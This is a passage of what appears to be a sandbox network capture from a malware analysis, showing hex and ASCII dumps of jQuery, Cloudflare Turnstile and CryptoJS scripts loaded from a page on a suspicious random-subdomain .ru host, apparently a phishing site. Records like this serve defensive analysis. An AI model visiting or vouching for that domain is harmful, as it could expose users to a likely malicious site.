20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-29 15:59:05 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:05 UTC	654	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rjwc1sic.olistraket.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:06 UTC	386	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 15:59:05 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/787bc399e22f/api.js Server: cloudflare CF-RAY: 8f9afecd880e421d-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:07 UTC	653	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rjwc1sic.olistraket.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:07 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f9afed85f090f45-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-29 15:59:07 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:07 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:08 UTC	954	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 353696 Expires: Fri, 19 Dec 2025 15:59:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Can%2Fd5bZD7ul9orT0bH62cTisRDDHmujD8hMYIYwmZ2Oco2WTcFTSjf6EL2yXzUmQuCWNLm8cmP5hEKuirpvWF6D4ACjLctnYZVHflUJGYQnukZsZFIhSISJw3RG96IqINAQlSoj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f9afedb0f507280-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 15:59:08 UTC	415	IN	Data Raw: 37 62 66 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c Data Ascii: balThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|
2024-12-29 15:59:08 UTC	1369	IN	Data Raw: 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b Data Ascii: this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{
